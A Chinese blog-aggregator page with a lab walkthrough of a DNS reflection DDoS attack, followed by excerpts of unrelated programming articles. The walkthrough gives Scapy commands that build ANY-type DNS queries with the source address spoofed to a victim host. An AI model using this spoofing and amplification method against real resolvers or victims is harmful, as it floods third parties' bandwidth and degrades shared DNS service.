当前位置： 首页 > news >正文

利用dns协议发起ddos反射攻击

news 2025/11/18 13:18:22

利用DNS服务器发起反射型DDOS，攻击带宽

基本思路：
1、利用any类型的dns查询，可完成发送少量请求数据，获得大量返回数据。
2、将原请求地址改为受害者地址，则dns会向受害者返回大量数据，占用带宽

警告！

利用公共dns的攻击行为会影响dns的性能，请谨慎使用，一旦大规模占用dns资源会造成dns拥堵，属于违法犯罪行为。

实验步骤：

1、验证服务器是否可正常工作

查看网关。（Nat模式下，所有虚拟机都是在主机下的子网里，默认dns服务器地址即为网关地址）
命令：route -n
在这里插入图片描述

(2)登录攻击机，使用dig查询dns
命令为：dig host地址 @dns服务器地址

在这里插入图片描述

确认DNS服务器可用

2、抓取any查询的数据包

使用攻击机抓取数据包
在这里插入图片描述

使用攻击机开始dig查询
在这里插入图片描述

停止抓包
Pkill tcpdump

在这里插入图片描述

3、使用scapy分析数据包

打开scapy，读取数据包

在这里插入图片描述

Pcap=rdpcap(“dns.pcap”)		#读文件
Pcap[3]					#获取第4条数据，前三条为三次握手，第四条才是dns请求。

查看数据包结构

ls（DNS）
ls(DNSQR)

我截图上下标为14是因为我之前还发过其他的请求数据，不用管它

构造数据包：

 i=IP(src="192.168.237.128",dst="192.168.237.2")u=UDP()q=DNSQR(qname="baidu.com",qtype=255)d=DNS(rd=1,qdcount=1,qd=q)r=(i/u/d)
sr1(r)

在这里插入图片描述
在这里插入图片描述

确认可以成功发包。

4、使用靶机抓包

靶机打开wireshark，开启抓包。

5、使用攻击机伪造IP源，发起攻击

i=IP(src="192.168.237.132",dst="192.168.237.2")
r=(i/u/d)
sr1(r)

在这里插入图片描述

6、观察靶机，可以看到确实接收到了DNS服务器发来的数据包。

在这里插入图片描述

相关文章：

利用dns协议发起ddos反射攻击

利用DNS服务器发起反射型DDOS，攻击带宽 基本思路： 1、利用any类型的dns查询，可完成发送少量请求数据，获得大量返回数据。 2、将原请求地址改为受害者地址，则dns会向受害者返回大量数据，占用带宽 警告&…...

编程日记 2023/10/24 4:03:05

Tcl基础知识

一、概述 Tcl 语言的全称 Tool Command Language，即工具命令语言。这种需要在 EDA 工具中使用的相当之多，或者说几乎每个 EDA 工具都支持 Tcl 语言，并将它作为自己的命令shell。 静态时序分析中多用的 Synopsys Tcl 语言&#xff0c…...

编程日记 2023/10/24 4:01:03

Go中的编程模式:Pipeline

本文章我们重点来介绍一下 Go 编程中的 Pipeline 模式。用过 Linux 命令行的人都不会陌生，它是一种把各种命令拼接起来完成一个更强功能的技术方法，在C语言中也有pipe管道的叫法，具体的有兴趣的同学也可以去了解。 现在的流式处理、函数式编程、应用网关对微服务进行简单的…...

编程日记 2023/10/24 4:00:01

2023最新pytorch安装教程，简单易懂，面向初学者（Anaconda+GPU）

一、前言 目前是2023.1.27,鉴于本人安装过程中踩得坑，安装之前我先给即将安装pytorch的各位提个醒，有以下几点需要注意 1.判断自己电脑是否有GPU 注意这点很重要，本教程面向有NVIDA显卡的电脑，如果你的电脑没有GPU或者使用AMD显…...

编程日记 2023/10/24 3:58:59

Redis为什么变慢了

一、Redis为什么变慢了 1.Redis真的变慢了吗？ 对 Redis 进行基准性能测试 例如，我的机器配置比较低，当延迟为 2ms 时，我就认为 Redis 变慢了，但是如果你的硬件配置比较高，那么在你的运行环境下，可能延迟是 0.5ms 时就可以认为 Redis 变慢了。 所以，你只有了解了你的…...

编程日记 2023/10/24 3:57:56

空中计算（Over-the-Air Computation）学习笔记

文章目录 写在前面 写在前面 本文是论文A Survey on Over-the-Air Computation的阅读笔记： 通信和计算通常被视为独立的任务。 从工程的角度来看，这种方法是非常有效的，因为可以执行孤立的优化。 然而，对于许多面向计算的应用程序…...

编程日记 2023/10/24 3:56:53

如何高效率地阅读论文

▚ 01 Active versus passive reading: how to read scientific papers? 📢小疑则小悟，大疑则大悟，不疑则不悟。 If you read/do research with small questions in mind, you learn small things. If you do so with big questions in…...

编程日记 2023/10/24 3:54:51

FreeRTOS学习day1

顾名思义 免费的实时操作系统 用法基本和Linux下的多线程编程类似 探索者开发版实验 动态创建4个任务start_task task1 task2 task3 优先级依次为1 2 3 4 （注意优先级不能为0,0是空闲任务） 我的理解：主线程start_task 主线程 task1 ta…...

编程日记 2023/10/24 3:53:49

【Web】| CSS Float （浮动）的使用方法

Float（浮动）概念 CSS的Float（浮动），会使得元素向左或者向右移动，其它周围元素也会重新排列。 Float浮动，往往是用于图像，但它的布局一样非常有效。 元素如何浮动 元素的水平方向…...

编程日记 2023/10/24 3:52:48

#力扣：面试题 02.03. 删除中间节点@FDDLC

面试题 02.03. 删除中间节点 - 力扣（LeetCode） 一、Java /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode next;* ListNode(int x) { val x; }* }*/ class Solution {public void deleteNode(List…...

编程日记 2023/10/24 3:51:46

多线程原子性、一致性与有序性

作者：逍遥Sean 简介：一个主修Java的Web网站\游戏服务器后端开发者 主页：https://blog.csdn.net/Ureliable 觉得博主文章不错的话，可以三连支持一下~ 如有需要我的支持，请私信或评论留言！ 前言： …...

编程日记 2023/10/24 3:50:45

读书笔记：Effective C++ 2.0 版，条款28(namespace )

条款28: 划分全局名字空间 namespace 作为前缀，防止不同名字域的类型、常量等互相污染。 没命名的名字空间一般用于限制名字空间内部元素的可见性。 namespace sdm {const double book_version 2.0;class handle { ... };handle& gethandle(); }早期用struct模…...

编程日记 2023/10/24 3:49:45

CSS常见选择器总结

1.简单选择器 简单选择器是开发中使用最多的选择器，包含： 元素选择器，使用元素的名称 类选择器，使用.类名 id选择器，使用#id id注意事项： 一个HTML文档里面的id值 是唯一的，不能重复 id值如…...

编程日记 2023/10/24 3:48:44

阿里云服务结构--长期更新

CNCF 全称Cloud Native Computing Foundation（云原生计算基金会），成立于 2015 年7月21日（于美国波特兰OSCON 2015上宣布），其最初的口号是坚持和整合开源技术来让编排容器作为微服务架构的一部分&#xff0…...

编程日记 2023/10/24 3:46:42

Java8 BiConsumer＜T, U＞ 函数接口浅析分享（含示例，来戳！）

文章目录 Java8 BiConsumer<T, U> 函数接口浅析分享&#xff08;含示例&#xff0c;来戳&#xff01;&#xff09;源码accept 方法示例示例一示例二 andThen 方法示例示例一示例二 示例相关代码类dohandler 方法student.javaStudentScore.javaStudentScoreDto.java Java8…...

编程日记 2023/10/24 3:43:40

C++学习：类的使用--运算符重载

我们知道C可以对函数进行重载&#xff0c;让同名的函数来完成相同的基本操作。其实运算符也是可以重载的&#xff0c;而且有的运算符已经在使用了&#xff0c;就像*&#xff0c;既可以用于地址&#xff0c;又可以用于乘法。 下面是一个计算时间的类 #ifndef MYTIME_H #define…...

编程日记 2023/10/24 3:42:39

嵌入式养成计划-46----QT--简易版网络聊天室实现--QT如何连接数据库

一百一十九、简易版网络聊天室实现 119.1 QT实现连接TCP协议 119.1.1 基于TCP的通信流程 119.1.2 QT中实现服务器过程 使用QTcpServer实例化一个服务器对象设置监听状态&#xff0c;通过listen()函数&#xff0c;可以监听特定的主机&#xff0c;也可以监听所有客户端&#x…...

编程日记 2023/10/24 3:41:38

YOLO目标检测——人脸识别数据集【对应voc、coco和yolo三种格式标签】

实际项目应用&#xff1a;安全监控、智能驾驶、人机交互、人脸门禁、人脸支付、人脸搜索数据集说明&#xff1a;人脸识别数据集&#xff0c;真实场景的高质量图片数据&#xff0c;数据场景丰富&#xff0c;含有人脸图片标签说明&#xff1a;使用lableimg标注软件标注&#xff0…...

编程日记 2023/10/24 3:38:36

mybatis日志不打印的问题

在项目中使用了 spring boot&#xff0c;orm 层集成了 mybatis-plus&#xff0c;按照默认配置后发现之前配置的 sql 日志正常&#xff0c;在这里却不正常&#xff0c;鉴于日志使用的是 logback&#xff0c;想到了打印 sql 的日志级别是 debug&#xff0c;所以&#xff0c;按照这…...

编程日记 2023/10/24 3:36:27

【分布式缓存】关于 Memcached 的几个常见问题

关于 Memcached 的几个常见问题 1.Memcached 是怎么工作的&#xff1f;2.Memcached 最大的优势是什么&#xff1f;3.Memcached 和 MySQL 的 querycache 相比&#xff0c;有什么优缺点&#xff1f;4.Memcached 和服务器的 local cache&#xff08;比如 PHP 的 APC、mmap 文件等&…...

编程日记 2023/10/24 3:33:24

Go 语言接口详解

Go 语言接口详解 核心概念 接口定义 在 Go 语言中&#xff0c;接口是一种抽象类型&#xff0c;它定义了一组方法的集合&#xff1a; // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的&#xff1a; // 矩形结构体…...

编程新知 2025/10/23 18:29:35

如何在看板中有效管理突发紧急任务

在看板中有效管理突发紧急任务需要&#xff1a;设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP&#xff08;Work-in-Progress&#xff09;弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中&#xff0c;设立专门的紧急任务通道尤为重要&#xff0c;这能…...

编程新知 2025/11/18 1:06:11

鱼香ros docker配置镜像报错：https://registry-1.docker.io/v2/

使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题&#xff1a;docker pull 失败 网络不同&#xff0c;需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...

编程新知 2025/9/5 21:18:15

10-Oracle 23 ai Vector Search 概述和参数

一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI&#xff0c;使用客户端或是内部自己搭建集成大模型的终端&#xff0c;加速与大型语言模型&#xff08;LLM&#xff09;的结合&#xff0c;同时使用检索增强生成&#xff08;Retrieval Augmented Generation &#…...

编程新知 2025/11/17 1:24:17

Linux C语言网络编程详细入门教程：如何一步步实现TCP服务端与客户端通信

文章目录 Linux C语言网络编程详细入门教程&#xff1a;如何一步步实现TCP服务端与客户端通信前言一、网络通信基础概念二、服务端与客户端的完整流程图解三、每一步的详细讲解和代码示例1. 创建Socket&#xff08;服务端和客户端都要&#xff09;2. 绑定本地地址和端口&#x…...

编程新知 2025/10/31 21:54:15

LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf

FTP 客服管理系统 实现kefu123登录&#xff0c;不允许匿名访问&#xff0c;kefu只能访问/data/kefu目录&#xff0c;不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...

编程新知 2025/11/17 10:39:39

Go语言多线程问题

打印零与奇偶数&#xff08;leetcode 1116&#xff09; 方法1&#xff1a;使用互斥锁和条件变量 package mainimport ("fmt""sync" )type ZeroEvenOdd struct {n intzeroMutex sync.MutexevenMutex sync.MutexoddMutex sync.Mutexcurrent int…...

编程新知 2025/9/23 8:19:28

解读《网络安全法》最新修订，把握网络安全新趋势

《网络安全法》自2017年施行以来&#xff0c;在维护网络空间安全方面发挥了重要作用。但随着网络环境的日益复杂&#xff0c;网络攻击、数据泄露等事件频发&#xff0c;现行法律已难以完全适应新的风险挑战。 2025年3月28日&#xff0c;国家网信办会同相关部门起草了《网络安全…...

编程新知 2025/11/17 0:16:17

python爬虫——气象数据爬取

一、导入库与全局配置 python 运行 import json import datetime import time import requests from sqlalchemy import create_engine import csv import pandas as pd作用&#xff1a; 引入数据解析、网络请求、时间处理、数据库操作等所需库。requests&#xff1a;发送 …...

编程新知 2025/7/9 12:15:58

LeetCode - 148. 排序链表

目录 题目 思路 基本情况检查 复杂度分析 执行示例 读者可能出的错误 正确的写法 题目 148. 排序链表 - 力扣&#xff08;LeetCode&#xff09; 思路 链表归并排序采用"分治"的策略&#xff0c;主要分为三个步骤&#xff1a; 分割&#xff1a;将链表从中间…...

编程新知 2025/11/16 21:53:42